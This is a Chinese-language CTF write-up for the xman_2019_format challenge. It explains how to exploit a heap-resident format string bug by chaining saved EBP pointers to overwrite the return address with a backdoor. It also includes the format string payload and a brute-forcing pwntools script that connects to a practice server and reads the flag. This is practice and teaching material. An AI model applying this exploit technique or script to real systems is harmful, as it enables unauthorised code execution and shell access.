xman_2019_format
查看保护
一层一层的跟进之后可以看见有两个格式化的功能。中间使用|来隔开
还有个比较关键的是格式化在堆上,并不在栈上所以平时的的栈上格化式没有什么用。
正常的方法的话没有用,这时可以借助ebp两个链子来改ret为backdoor
因为返回地址的指针的最后一为是0xc所以把ebp第一个链子最低的一个字节改成0xcc,偏移为10。
为什么要改为0xcc呢,可以看一下笔者这里的栈图,返回地址前面是d3cc,而第一个ebp链子是d3a8往后。这里的话其实得要进行爆破,因为栈的地址会变,最后一位不会变,倒数第二个会变。所以需要进行一个爆破。
之后还需要借助第二个ebp链子。因为要将0x804897改为backdoor的地址,而这两个地址不一样的只有最后两个字节,改最后两个字节即可。
%204c%10$hhn|%34219c%18$hn
解释一下吧,204是0xcc因为最低位为0xc,倒数第二个的话这里按着笔者这里的栈图来的是0xcc,倒数第二位是c所以这里作者设置的是0xcc。%10是因为偏移10
34219是backdoor的最低的两个字节。偏移为18
from pwn import *
#context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
'''
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
'''
elf = ELF(file_name)
def dbg():
gdb.attach(r)
for i in range(20):
r = remote('node4.buuoj.cn', 25377)
p1 = '%204c%10$hhn|%34219c%18$hn'
r.sendline(p1)
try:
r.sendline(b'echo aaaa')
r.recvuntil(b'aaaa', timeout=1)
r.sendline(b'cat flag')
r.recvuntil(b'{')
flag = b'flag{' + r.recvuntil(b'}')
print('[+] flag = ' + str(flag))
r.interactive()
break
except:
r.close()
continue